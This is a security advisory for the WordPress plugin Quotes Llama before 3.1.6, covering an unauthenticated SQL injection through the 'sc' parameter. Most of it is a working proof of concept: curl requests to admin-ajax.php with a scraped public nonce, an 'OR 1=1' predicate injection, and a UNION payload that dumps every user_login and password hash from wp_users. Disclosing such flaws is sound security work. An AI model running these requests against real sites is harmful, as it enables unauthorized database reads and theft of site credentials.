Quotes Llama < 3.1.6 – Unauthenticated SQL Injection via sc Parameter | CVE 2026-12512

Description

The plugin does not properly sanitize and escape a user-supplied parameter before using it in a SQL query, allowing unauthenticated attackers to perform UNION-based SQL injection and read arbitrary data from the database, including password hashes.

Proof of Concept

Prerequisites: a public page using a Quotes Llama shortcode that renders the nonce (e.g. [quotes-llama mode=page]) and at least one quote in the plugin's table (both are normal plugin use). No authentication required.

1. As an anonymous visitor (no cookies), fetch the public shortcode page and read the quotes_llama_nonce value from the HTML (nonce="...").

2. Negative control (returns "Search returned nothing"):
curl -sk "https://TARGET/wp-admin/admin-ajax.php" -X POST \
  --data-urlencode "action=select_search" --data-urlencode "search_form=1" \
  --data-urlencode "nonce=<PUBLIC_NONCE>" --data-urlencode "term=NO_SUCH_501510" \
  --data-urlencode "sc=quote" --data-urlencode "target=quotes-llama-search"

3. Predicate injection (returns the seeded quote despite the bogus term, proving sc is injected as raw SQL):
   ... same request with --data-urlencode "sc=quote OR 1=1#"

4. UNION extraction (decisive - returns every user_login + user_pass):
curl -sk "https://TARGET/wp-admin/admin-ajax.php" -X POST \
  --data-urlencode "action=select_search" --data-urlencode "search_form=1" \
  --data-urlencode "nonce=<PUBLIC_NONCE>" --data-urlencode "term=NO_SUCH_501510" \
  --data-urlencode "sc=quote LIKE 0 UNION SELECT user_login,NULL,NULL,NULL,user_pass,NULL,NULL,NULL,NULL FROM wp_users#" \
  --data-urlencode "target=quotes-llama-search"

The response contains each user_login and user_pass hash (e.g. admin and $P$B... / $wp$2y$...). The second handler is reachable the same way with action=select_search_page and search_for_quote=1 (omit target).